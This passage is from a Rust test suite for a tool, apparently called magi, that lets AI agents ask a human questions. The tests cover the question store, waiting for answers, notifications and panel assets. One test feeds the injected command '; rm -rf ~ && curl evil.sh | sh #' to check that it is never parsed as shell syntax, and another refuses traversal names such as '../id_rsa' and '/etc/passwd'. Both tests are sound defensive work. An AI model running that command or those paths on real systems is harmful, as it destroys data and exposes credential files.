2629        assert!(
2630            store.get(&elsewhere.id).unwrap().status.open(),
2631            "another run's question is untouched"
2632        );
2633        assert!(store.open_for(&open_one.run).is_empty());
2634    }
2635
2636    #[test]
2637    fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2638        let (_dir, store) = store();
2639        let mut q = choice_question();
2640        store.put(&mut q).unwrap();
2641
2642        // `Blocked` can still be resumed - leave it exactly as it was.
2643        let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2644        assert_eq!(n, 0);
2645        assert!(store.get(&q.id).unwrap().status.open());
2646
2647        // `Failed` is not - abandon it, with the run and its fate in the
2648        // reason so the owner can tell what happened without a run to read.
2649        let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2650        assert_eq!(n, 1);
2651        let back = store.get(&q.id).unwrap();
2652        assert!(!back.status.open());
2653        assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2654
2655        // A second call against the same, now-settled run finds nothing left.
2656        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2657    }
2658
2659    #[test]
2660    fn settle_run_keeps_an_undelivered_routed_decision() {
2661        let (_dir, store) = store();
2662        let mut q = choice_question();
2663        q.routed_task = Some("task".into());
2664        store.put(&mut q).unwrap();
2665        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2666        assert!(store.get(&q.id).unwrap().status.open());
2667
2668        // Once the chat has it, the ordinary settlement applies again.
2669        store
2670            .update(&q.id, |r| {
2671                r.routed_chat = Some("chat".into());
2672                Ok(())
2673            })
2674            .unwrap();
2675        assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2676    }
2677
2678    fn choice_question() -> Question {
2679        Question::new(
2680            "20260902-201256-9fb7".to_owned(),
2681            "implement".to_owned(),
2682            "impl-A".to_owned(),
2683            "Which storage backend should the cache use?".to_owned(),
2684            "Both are already dependencies.".to_owned(),
2685            vec!["SQLite".to_owned(), "Redis".to_owned()],
2686        )
2687    }
2688
2689    fn free_question() -> Question {
2690        Question::new(
2691            "20260902-201256-9fb7".to_owned(),
2692            "review".to_owned(),
2693            "rev-1".to_owned(),
2694            "What should the error message say?".to_owned(),
2695            String::new(),
2696            Vec::new(),
2697        )
2698    }
2699
2700    /// No notification, which is the default and what most of these want.
2701    fn quiet() -> config::Notify {
2702        config::Notify::default()
2703    }
2704
2705    #[test]
2706    fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2707        // The front end parses these names by hand; there is no shared schema
2708        // and no compiler between the two. A rename here is a UI that shows an
2709        // empty card and reports no error, so the names are asserted literally.
2710        let mut q = choice_question();
2711        q.id = "20260902-231501-ab12".to_owned();
2712        let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2713        // `serde_json::Value` holds an object's keys sorted, and key order
2714        // means nothing to a JSON reader anyway: the field *set* is what the
2715        // front end was written against, so that is what is pinned here.
2716        let keys: Vec<&str> = open
2717            .as_object()
2718            .unwrap()
2719            .keys()
2720            .map(String::as_str)
2721            .collect();
2722        assert_eq!(
2723            keys,
2724            [
2725                "actions",
2726                "answer",
2727                "answer_delivered",
2728                "answer_timeout",
2729                "answered_at",
2730                "asked_at",
2731                "assets",
2732                "choices",
2733                "consult",
2734                "cwd",
2735                "decision_context",
2736                "delivered_turns",
2737                "deputy",
2738                "detail",
2739                "id",
2740                "merge_target",
2741                "node",
2742                "panel",
2743                "routed_chat",
2744                "routed_task",
2745                "run",
2746                "schema",
2747                "seat",
2748                "status",
2749                "summary",
2750                "thread",
2751                "triage_generation",
2752                "waiter",
2753            ],
2754            "the on-disk field set is a contract with the front end"
2755        );
2756        assert_eq!(open["schema"], 13);
2757        assert_eq!(open["merge_target"], serde_json::Value::Null);
2758        assert_eq!(open["triage_generation"], serde_json::Value::Null);
2759        assert_eq!(open["thread"], serde_json::json!([]));
2760        assert_eq!(open["id"], "20260902-231501-ab12");
2761        assert_eq!(open["run"], "20260902-201256-9fb7");
2762        assert_eq!(open["node"], "implement");
2763        assert_eq!(open["seat"], "impl-A");
2764        assert_eq!(open["status"], "open");
2765        assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2766        assert_eq!(open["answered_at"], serde_json::Value::Null);
2767        assert_eq!(open["answer"], serde_json::Value::Null);
2768        let asked = open["asked_at"].as_str().unwrap();
2769        assert!(
2770            asked.ends_with('Z') && asked.contains('T'),
2771            "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2772        );
2773
2774        // A chosen option, exactly as the contract spells it.
2775        q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2776        let answered = serde_json::to_value(&q).unwrap();
2777        assert_eq!(answered["status"], "answered");
2778        assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2779        assert!(answered["answered_at"].is_string());
2780
2781        // And free text, which is the other of the two forms.
2782        let mut free = free_question();
2783        free.answer(Answer::Text("Say which file it was".to_owned()))
2784            .unwrap();
2785        assert_eq!(
2786            serde_json::to_value(&free).unwrap()["answer"],
2787            serde_json::json!({"text": "Say which file it was"})
2788        );
2789
2790        // And it survives the round trip a reader actually performs.
2791        let body = serde_json::to_string(&q).unwrap();
2792        assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2793    }
2794
2795    #[test]
2796    fn merge_target_persists_and_schema_10_questions_remain_readable() {
2797        let (_dir, store) = store();
2798        let mut q = approval_question();
2799        q.merge_target = Some(crate::merge_decision::Target {
2800            pr: "https://github.com/example/repo/pull/42".into(),
2801            head: "reviewed-head".into(),
2802            language: "ja".into(),
2803        });
2804        store.put(&mut q).unwrap();
2805        let saved = store.get(&q.id).unwrap();
2806        assert_eq!(saved, q);
2807        let mut body = serde_json::to_value(&saved).unwrap();
2808        assert_eq!(body["schema"], 13);
2809        assert_eq!(
2810            body["merge_target"],
2811            serde_json::json!({
2812                "pr": "https://github.com/example/repo/pull/42",
2813                "head": "reviewed-head",
2814                "language": "ja"
2815            })
2816        );
2817
2818        // Earlier merge/hold cards have no target field. Read the actual
2819        // on-disk shape through the store, including its schema guard.
2820        body["schema"] = serde_json::json!(10);
2821        body.as_object_mut().unwrap().remove("merge_target");
2822        std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2823        let legacy = store.get(&q.id).unwrap();
2824        assert_eq!(legacy.schema, 10);
2825        assert!(legacy.merge_target.is_none());
2826        assert_eq!(legacy.choices, q.choices);
2827        assert_eq!(legacy.status, q.status);
2828    }
2829
2830    #[test]
2831    fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2832        // Four different mistakes, four different fixes: the web handler shows
2833        // these strings to the person who made them.
2834        let mut unoffered = choice_question();
2835        let a = unoffered
2836            .answer(Answer::Choice("Postgres".to_owned()))
2837            .unwrap_err()
2838            .to_string();
2839
2840        let mut typed = choice_question();
2841        let b = typed
2842            .answer(Answer::Text("use Postgres".to_owned()))
2843            .unwrap_err()
2844            .to_string();
2845
2846        let mut blank = free_question();
2847        let c = blank
2848            .answer(Answer::Text("   \n".to_owned()))
2849            .unwrap_err()
2850            .to_string();
2851
2852        let mut twice = choice_question();
2853        twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2854        let d = twice
2855            .answer(Answer::Choice("Redis".to_owned()))
2856            .unwrap_err()
2857            .to_string();
2858
2859        assert!(a.contains("not one of the choices"), "{a}");
2860        assert!(b.contains("multiple choice"), "{b}");
2861        assert!(c.contains("empty"), "{c}");
2862        assert!(d.contains("already answered"), "{d}");
2863        let mut distinct = vec![a, b, c, d];
2864        let asked = distinct.len();
2865        distinct.sort_unstable();
2866        distinct.dedup();
2867        assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2868
2869        // The refused ones are still open, so the owner can answer properly.
2870        assert_eq!(unoffered.status, QuestionStatus::Open);
2871        assert_eq!(typed.status, QuestionStatus::Open);
2872        assert_eq!(blank.status, QuestionStatus::Open);
2873        // And the first answer to the double-answered one survived.
2874        assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2875
2876        // Free text refuses a fabricated choice for the mirror-image reason.
2877        let mut free = free_question();
2878        let e = free
2879            .answer(Answer::Choice("SQLite".to_owned()))
2880            .unwrap_err()
2881            .to_string();
2882        assert!(e.contains("free text"), "{e}");
2883    }
2884
2885    #[test]
2886    fn open_questions_are_listed_before_answered_ones() {
2887        let (_dir, s) = store();
2888        // Ids carry a timestamp, so force a known order: the answered one is
2889        // the newest, and must still sort below the open ones.
2890        let mut old_open = choice_question();
2891        old_open.id = "20260101-000001-aaaa".to_owned();
2892        let mut new_open = choice_question();
2893        new_open.id = "20260101-000002-bbbb".to_owned();
2894        let mut answered = choice_question();
2895        answered.id = "20260101-000003-cccc".to_owned();
2896        answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2897        for q in [&mut old_open, &mut new_open, &mut answered] {
2898            s.put(q).unwrap();
2899        }
2900
2901        let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2902        assert_eq!(
2903            ids,
2904            [
2905                "20260101-000002-bbbb",
2906                "20260101-000001-aaaa",
2907                "20260101-000003-cccc"
2908            ],
2909            "what has stopped work comes first; history sorts underneath"
2910        );
2911        assert_eq!(s.count_open(), 2);
2912        assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2913        assert!(s.open_for("some-other-run").is_empty());
2914        // The short id is what the phone and the reports show.
2915        assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2916        assert!(s.get("20260101-000002-bbbb").is_ok());
2917        assert!(s.resolve_id("nope").is_err());
2918        assert!(
2919            s.revision() > 0,
2920            "the store's mtime drives the phone's polling"
2921        );
2922    }
2923
2924    #[test]
2925    fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2926        let (_dir, s) = store();
2927        let mut good = choice_question();
2928        s.put(&mut good).unwrap();
2929        // Truncated by a killed writer, and written by a magi from the future.
2930        std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2931        let future = serde_json::json!({
2932            "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2933            "seat": "s", "summary": "?", "detail": "", "choices": [],
2934            "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2935            "answered_at": null, "answer": null,
2936        });
2937        std::fs::write(
2938            s.path_of("20260101-000010-beef"),
2939            serde_json::to_string(&future).unwrap(),
2940        )
2941        .unwrap();
2942
2943        let listed = s.list();
2944        assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2945        assert_eq!(listed[0].id, good.id);
2946        // Asked for by name, the unreadable one explains itself instead.
2947        let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2948        assert!(e.contains("schema"), "{e}");
2949    }
2950
2951    #[tokio::test]
2952    async fn the_wait_returns_the_answer_another_process_wrote() {
2953        // The phone, `magi answer` and this run are three processes with no
2954        // channel between them: the file is the channel, so the wait has to see
2955        // a write it did not make. Sub-second timings keep this a real wait
2956        // without a real one's duration.
2957        let (dir, s) = store();
2958        let mut q = choice_question();
2959        let id = q.id.clone();
2960        let writer = Questions::at(dir.path().join("questions"));
2961        let handle = tokio::spawn(async move {
2962            tokio::time::sleep(Duration::from_millis(30)).await;
2963            let mut fresh = writer.get(&id).expect("the question was filed first");
2964            fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2965            writer.put(&mut fresh).unwrap();
2966        });
2967
2968        let got = wait_for_owner(
2969            &mut q,
2970            &s,
2971            &quiet(),
2972            Duration::from_secs(5),
2973            Duration::from_millis(10),
2974        )
2975        .await
2976        .unwrap();
2977
2978        handle.await.unwrap();
2979        assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2980        assert_eq!(
2981            q.status,
2982            QuestionStatus::Answered,
2983            "the caller's copy is refreshed from the answering process's record"
2984        );
2985        assert!(q.answered_at.is_some());
2986    }
2987
2988    #[tokio::test]
2989    async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2990        let (_dir, s) = store();
2991        let mut q = choice_question();
2992
2993        let got = wait_for_owner(
2994            &mut q,
2995            &s,
2996            &quiet(),
2997            Duration::from_millis(60),
2998            Duration::from_millis(10),
2999        )
3000        .await
3001        .unwrap();
3002
3003        assert_eq!(
3004            got,
3005            Wait::Abandoned,
3006            "a slow human is not an error; the run parks"
3007        );
3008        assert_eq!(q.status, QuestionStatus::Abandoned);
3009        let on_disk = s.get(&q.id).expect("the record of what was asked survives");
3010        assert_eq!(on_disk.status, QuestionStatus::Abandoned);
3011        assert!(
3012            on_disk.detail.contains("Abandoned:"),
3013            "why nobody answered belongs with the question: {}",
3014            on_disk.detail
3015        );
3016        assert!(on_disk.resolution().is_none());
3017        assert_eq!(s.count_open(), 0);
3018    }
3019
3020    #[tokio::test]
3021    async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
3022        // This is the whole point of slicing: `timeout` (the real
3023        // `answer_timeout` budget) is far larger than `slice`, so the loop
3024        // must land on `slice` first and hand back `Pending` - not read the
3025        // silence so far as the owner having given up.
3026        let (_dir, s) = store();
3027        let mut q = choice_question();
3028        s.put(&mut q).unwrap();
3029
3030        let got = wait_loop(
3031            &mut q,
3032            &s,
3033            Duration::from_secs(3600),
3034            Duration::from_millis(30),
3035            Duration::from_millis(10),
3036        )
3037        .await
3038        .unwrap();
3039
3040        assert_eq!(
3041            got,
3042            Wait::Pending,
3043            "the clock on this call ran out, not the owner's patience"
3044        );
3045        assert_eq!(
3046            q.status,
3047            QuestionStatus::Open,
3048            "a slice expiring must never abandon the question"
3049        );
3050        let on_disk = s.get(&q.id).expect("still on disk, still open");
3051        assert_eq!(
3052            on_disk.status,
3053            QuestionStatus::Open,
3054            "nothing about the record changed just because this call gave up"
3055        );
3056    }
3057
3058    #[tokio::test]
3059    async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
3060        // The shape `magi ask --wait <id>` relies on: one slice finds nothing
3061        // and returns `Pending`, a second slice - a fresh call, exactly as a
3062        // fresh process would make - picks the same question back up and
3063        // sees an answer written in between.
3064        let (dir, s) = store();
3065        let mut q = choice_question();
3066        s.put(&mut q).unwrap();
3067
3068        let first = wait_loop(
3069            &mut q,
3070            &s,
3071            Duration::from_secs(3600),
3072            Duration::from_millis(30),
3073            Duration::from_millis(10),
3074        )
3075        .await
3076        .unwrap();
3077        assert_eq!(first, Wait::Pending);
3078
3079        let id = q.id.clone();
3080        let writer = Questions::at(dir.path().join("questions"));
3081        let mut fresh = writer.get(&id).unwrap();
3082        fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3083        writer.put(&mut fresh).unwrap();
3084
3085        // `resume_wait` uses its own production poll interval rather than a
3086        // test-injected one, so the budget here only needs to be large enough
3087        // to cover one real poll tick - the point is that it is `resume_wait`
3088        // itself, not a helper, that finds the answer.
3089        let second = resume_wait(&mut q, &s, Duration::from_millis(500))
3090            .await
3091            .unwrap();
3092        assert_eq!(second, Wait::Answered("Redis".to_owned()));
3093        assert_eq!(q.status, QuestionStatus::Answered);
3094    }
3095
3096    #[tokio::test]
3097    async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
3098        // The owner can speak back while nothing is running at all - between
3099        // one call reporting `Wait::Pending` and the next `--wait` picking
3100        // the question back up - and whoever resumes the wait loads a
3101        // *fresh* copy of the question off disk, one whose thread already
3102        // contains that reply. A baseline taken from that fresh copy would
3103        // treat the reply as pre-existing and never notice it "arrive",
3104        // leaving the agent polling in silence until `answer_timeout`
3105        // eventually abandons the question - replacing the exact accident
3106        // this feature exists to fix with a quieter version of itself.
3107        let (dir, s) = store();
3108        let mut q = choice_question();
3109        s.put(&mut q).unwrap();
3110
3111        let first = wait_loop(
3112            &mut q,
3113            &s,
3114            Duration::from_secs(3600),
3115            Duration::from_millis(30),
3116            Duration::from_millis(10),
3117        )
3118        .await
3119        .unwrap();
3120        assert_eq!(first, Wait::Pending);
3121
3122        // The owner speaks back during the gap, with nobody running yet.
3123        let id = q.id.clone();
3124        let writer = Questions::at(dir.path().join("questions"));
3125        let mut fresh = writer.get(&id).unwrap();
3126        fresh.say("why not Postgres?").unwrap();
3127        writer.put(&mut fresh).unwrap();
3128
3129        // `magi ask --wait` re-reads the question rather than reusing the
3130        // stale in-memory copy the earlier call held - so the copy handed to
3131        // `resume_wait` here already carries the reply, same as `fresh` above.
3132        let mut resumed = s.get(&id).unwrap();
3133        let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
3134            .await
3135            .unwrap();
3136        assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
3137        assert_eq!(
3138            resumed.status,
3139            QuestionStatus::Open,
3140            "talking back is not a decision; the question stays open"
3141        );
3142    }
3143
3144    #[tokio::test]
3145    async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
3146        // A broken webhook must not throw away an implementation, so the wait
3147        // reports the failure and carries on. `notify` itself still says what
3148        // went wrong, because `magi notify --test` has to be able to show it.
3149        let (dir, s) = store();
3150        let broken = config::Notify {
3151            command: vec![
3152                "magi-notifier-that-does-not-exist-9fb7".to_owned(),
3153                "{summary}".to_owned(),
3154            ],
3155        };
3156        let mut q = choice_question();
3157        assert!(
3158            notify(&broken, &q).await.is_err(),
3159            "the caller is told; it decides that it does not matter"
3160        );
3161
3162        let id = q.id.clone();
3163        let writer = Questions::at(dir.path().join("questions"));
3164        let handle = tokio::spawn(async move {
3165            tokio::time::sleep(Duration::from_millis(30)).await;
3166            let mut fresh = writer.get(&id).unwrap();
3167            fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
3168            writer.put(&mut fresh).unwrap();
3169        });
3170        let got = wait_for_owner(
3171            &mut q,
3172            &s,
3173            &broken,
3174            Duration::from_secs(5),
3175            Duration::from_millis(10),
3176        )
3177        .await
3178        .unwrap();
3179        handle.await.unwrap();
3180        assert_eq!(got, Wait::Answered("Redis".to_owned()));
3181
3182        // No command at all is the default, and is silence rather than failure.
3183        assert!(notify(&quiet(), &q).await.is_ok());
3184        assert!(notify_text(&quiet(), "run", "text").await.is_ok());
3185    }
3186
3187    #[tokio::test]
3188    async fn external_question_notification_names_the_supported_response_path() {
3189        let dir = tempfile::tempdir().unwrap();
3190        let path = dir.path().join("page");
3191        let cmd = config::Notify {
3192            command: vec![
3193                "sh".into(),
3194                "-c".into(),
3195                "printf '%s' \"$1\" > \"$2\"".into(),
3196                "notify".into(),
3197                "{summary}".into(),
3198                path.to_string_lossy().into_owned(),
3199            ],
3200        };
3201        let q = choice_question();
3202        notify(&cmd, &q).await.unwrap();
3203        let sent = std::fs::read_to_string(&path).unwrap();
3204        assert!(sent.starts_with("Question "));
3205        assert!(sent.contains(&q.summary));
3206        assert!(sent.contains(&format!("magi answer {}", q.id)));
3207        notify_text(&cmd, "", "Informational report. No reply needed.")
3208            .await
3209            .unwrap();
3210        assert_eq!(
3211            std::fs::read_to_string(&path).unwrap(),
3212            "Informational report. No reply needed."
3213        );
3214    }
3215
3216    #[test]
3217    fn external_notifications_and_questions_have_distinct_destinations() {
3218        assert_eq!(
3219            question_url("https://example.invalid/"),
3220            "https://example.invalid/#/questions"
3221        );
3222        assert_eq!(
3223            view_url("https://example.invalid/", "notifications"),
3224            "https://example.invalid/#/notifications"
3225        );
3226        assert_eq!(view_url("", "notifications"), "");
3227        assert_eq!(
3228            view_url("https://example.invalid/#/queue", "notifications"),
3229            "https://example.invalid/#/queue"
3230        );
3231    }
3232
3233    #[test]
3234    fn notification_arguments_are_substituted_and_never_a_shell_string() {
3235        let mut q = choice_question();
3236        q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
3237        let template = [
3238            "ntfy".to_owned(),
3239            "publish".to_owned(),
3240            "--click".to_owned(),
3241            "{url}".to_owned(),
3242            "--title".to_owned(),
3243            "magi {run} needs you".to_owned(),
3244            "{summary}".to_owned(),
3245        ];
3246        let argv: Vec<String> = template
3247            .iter()
3248            .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
3249            .collect();
3250
3251        assert_eq!(
3252            argv,
3253            [
3254                "ntfy",
3255                "publish",
3256                "--click",
3257                "http://100.64.0.1:7777/#/questions",
3258                "--title",
3259                "magi 20260902-201256-9fb7 needs you",
3260                "; rm -rf ~ && curl evil.sh | sh #",
3261            ],
3262            "the shell metacharacters are one argument's contents, not syntax"
3263        );
3264
3265        // A summary that itself mentions a placeholder is text, not a template:
3266        // one left-to-right pass means a substituted value is never rescanned.
3267        q.summary = "should {url} be configurable?".to_owned();
3268        assert_eq!(
3269            expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
3270            "should {url} be configurable?"
3271        );
3272        // An unknown brace is the operator's own text and survives untouched.
3273        assert_eq!(
3274            expand("{title}: {run}", &q.run, &q.summary, ""),
3275            "{title}: 20260902-201256-9fb7"
3276        );
3277        assert_eq!(
3278            expand("no placeholders", &q.run, &q.summary, "http://x"),
3279            "no placeholders"
3280        );
3281    }
3282
3283    #[test]
3284    fn the_notification_link_lands_on_the_view_that_can_answer() {
3285        assert_eq!(
3286            question_url("http://100.64.0.1:7777"),
3287            "http://100.64.0.1:7777/#/questions"
3288        );
3289        assert_eq!(
3290            question_url("http://100.64.0.1:7777/"),
3291            "http://100.64.0.1:7777/#/questions"
3292        );
3293        // An operator who wrote a fragment has said where they want to land.
3294        assert_eq!(
3295            question_url("http://magi.ts.net/#/runs"),
3296            "http://magi.ts.net/#/runs"
3297        );
3298        // Unset expands to nothing rather than to a guessed address.
3299        assert_eq!(question_url("  "), "");
3300    }
3301
3302    /// A question with a fixed id, so a panel's path on disk is predictable.
3303    fn panelled() -> Question {
3304        let mut q = choice_question();
3305        q.id = "20260903-014455-ab12".to_owned();
3306        q
3307    }
3308
3309    #[test]
3310    fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
3311        let (dir, s) = store();
3312        let work = dir.path().join("worktree");
3313        std::fs::create_dir_all(&work).unwrap();
3314        std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
3315        std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
3316
3317        let mut q = panelled();
3318        let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
3319        s.put_panel(
3320            &mut q,
3321            html,
3322            &[work.join("table.png"), work.join("diff.svg")],
3323        )
3324        .unwrap();
3325        s.put(&mut q).unwrap();
3326
3327        assert!(q.panel);
3328        assert_eq!(
3329            q.assets,
3330            ["diff.svg", "table.png"],
3331            "sorted, not in the order the agent happened to pass them"
3332        );
3333        assert_eq!(
3334            s.panel_html(&q.id).as_deref(),
3335            Some(html),
3336            "the html is stored byte for byte; the agent authored the markup"
3337        );
3338        assert_eq!(
3339            s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
3340            Some(&b"<svg/>"[..])
3341        );
3342
3343        // The record on disk carries the same two fields the front end reads.
3344        let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
3345        let json: serde_json::Value = serde_json::from_str(&body).unwrap();
3346        assert_eq!(json["panel"], true);
3347        assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
3348        let back = s.get(&q.id).unwrap();
3349        assert!(back.panel);
3350        assert_eq!(back.assets, q.assets);
3351
3352        // The assets were copied, so the panel still renders after `magi fold`
3353        // has deleted the candidate worktree the agent authored it in.
3354        std::fs::remove_dir_all(&work).unwrap();
3355        assert_eq!(
3356            s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
3357            Some(&b"\x89PNG"[..]),
3358            "a referenced asset would be gone with the worktree"
3359        );
3360    }
3361
3362    #[test]
3363    fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
3364        let (dir, s) = store();
3365        let mut q = panelled();
3366        s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
3367        s.put(&mut q).unwrap();
3368
3369        // A file exactly one level up from the panel directory - which is
3370        // where `..` lands - holding content a read would make visible.
3371        let secret = "this must never reach the browser";
3372        std::fs::write(s.root().join("id_rsa"), secret).unwrap();
3373        assert_eq!(
3374            std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
3375            secret,
3376            "the traversal is real: the operating system resolves this path \
3377             happily, which is why the name has to be refused before the join"
3378        );
3379
3380        let long = "x".repeat(200);
3381        for name in [
3382            "..",
3383            "../id_rsa",
3384            "..\\id_rsa",
3385            "sub/../id_rsa",
3386            "/",
3387            "\\",
3388            "/etc/passwd",
3389            "C:\\Windows\\win.ini",
3390            "",
3391            ".hidden",
3392            ".",
3393            long.as_str(),
3394        ] {
3395            assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3396            let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3397            assert!(
3398                e.contains("not a panel file name"),
3399                "`{name}` must be refused as a name, not attempted: {e}"
3400            );
3401            assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3402        }
3403        // A name that is allowed still finds its file, so the refusals above
3404        // were the rule at work and not a store that reads nothing.
3405        assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3406
3407        // The same rule on the write side, where the name comes from a source
3408        // file's base name, and a refusal leaves the stored panel untouched.
3409        let hidden = dir.path().join(".hidden");
3410        std::fs::write(&hidden, "x").unwrap();
3411        let e = s
3412            .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3413            .unwrap_err()
3414            .to_string();
3415        assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3416        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3417        assert!(q.assets.is_empty());
3418    }
3419
3420    #[test]
3421    fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3422        let (dir, s) = store();
3423        let mut q = panelled();
3424        s.put(&mut q).unwrap();
3425
3426        // Sized rather than filled: the cap reads the file's length, and a
3427        // test that actually produced eight mebibytes would only be slower.
3428        let big = dir.path().join("recording.png");
3429        std::fs::File::create(&big)
3430            .unwrap()
3431            .set_len(PANEL_MAX_BYTES)
3432            .unwrap();
3433
3434        let html = "<p>see the recording</p>";
3435        let total = PANEL_MAX_BYTES + html.len() as u64;
3436        let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3437        assert!(
3438            e.contains(&PANEL_MAX_BYTES.to_string()),
3439            "the cap is named so the agent knows the limit: {e}"
3440        );
3441        assert!(
3442            e.contains(&total.to_string()),
3443            "the actual size is named so the agent knows by how much: {e}"
3444        );
3445
3446        assert!(!q.panel);
3447        assert!(q.assets.is_empty());
3448        let left: Vec<String> = std::fs::read_dir(s.root())
3449            .unwrap()
3450            .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3451            .collect();
3452        assert_eq!(
3453            left,
3454            [format!("{}.json", q.id)],
3455            "a refused panel leaves neither a directory nor scratch: {left:?}"
3456        );
3457    }
3458
3459    #[test]
3460    fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3461        let (dir, s) = store();
3462        let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3463        std::fs::create_dir_all(&before).unwrap();
3464        std::fs::create_dir_all(&after).unwrap();
3465        std::fs::write(before.join("diff.png"), "before").unwrap();
3466        std::fs::write(after.join("diff.png"), "after").unwrap();
3467
3468        let mut q = panelled();
3469        let e = s
3470            .put_panel(
3471                &mut q,
3472                "<p>x</p>",
3473                &[before.join("diff.png"), after.join("diff.png")],
3474            )
3475            .unwrap_err()
3476            .to_string();
3477        assert!(e.contains("diff.png"), "{e}");
3478        assert!(
3479            e.contains("before") && e.contains("after"),
3480            "both sources are named, because the fix is to rename one: {e}"
3481        );
3482        assert!(!q.panel);
3483        assert!(!s.panel_dir(&q.id).exists());
3484    }
3485
3486    #[test]
3487    fn concurrent_questions_keep_independent_records_and_panels_with_identical_entropy() {
3488        let (_dir, s) = store();
3489        let barrier = std::sync::Barrier::new(8);
3490        let ids = std::thread::scope(|scope| {
3491            let handles: Vec<_> = (0..8)
3492                .map(|worker| {
3493                    let s = &s;
3494                    let barrier = &barrier;
3495                    scope.spawn(move || {
3496                        barrier.wait();
3497                        (0..16)
3498                            .map(|index| {
3499                                let mut q = choice_question();
3500                                // Reproduce both the old four-digit collision
3501                                // and a clock returning identical entropy.
3502                                q.id = new_id_at("20261020-224346", 0xf8ef);
3503                                q.summary = format!("worker {worker}, question {index}");
3504                                assert!(valid_asset_name(&q.id));
3505                                assert_eq!(q.short(), "f8ef");
3506                                let html = format!("<p>{}</p>", q.summary);
3507                                s.put_panel(&mut q, &html, &[]).unwrap();
3508                                s.put(&mut q).unwrap();
3509                                (q.id, q.summary, html)
3510                            })
3511                            .collect::<Vec<_>>()
3512                    })
3513                })
3514                .collect();
3515            handles
3516                .into_iter()
3517                .flat_map(|handle| handle.join().unwrap())
3518                .collect::<Vec<_>>()
3519        });
3520        assert_eq!(s.list().len(), ids.len());
3521        for (id, summary, html) in ids {
3522            assert_eq!(s.get(&id).unwrap().summary, summary);
3523            assert_eq!(s.panel_html(&id).as_deref(), Some(html.as_str()));
3524        }
3525    }
3526
3527    #[test]
3528    fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3529        let (dir, s) = store();
3530        std::fs::write(dir.path().join("old.png"), "old").unwrap();
3531        std::fs::write(dir.path().join("new.png"), "new").unwrap();
3532
3533        let mut q = panelled();
3534        s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3535            .unwrap();
3536        s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3537            .unwrap();
3538
3539        assert_eq!(q.assets, ["new.png"]);
3540        assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3541        assert!(
3542            s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3543            "an asset from the first attempt would show a mix of two answers"
3544        );
3545
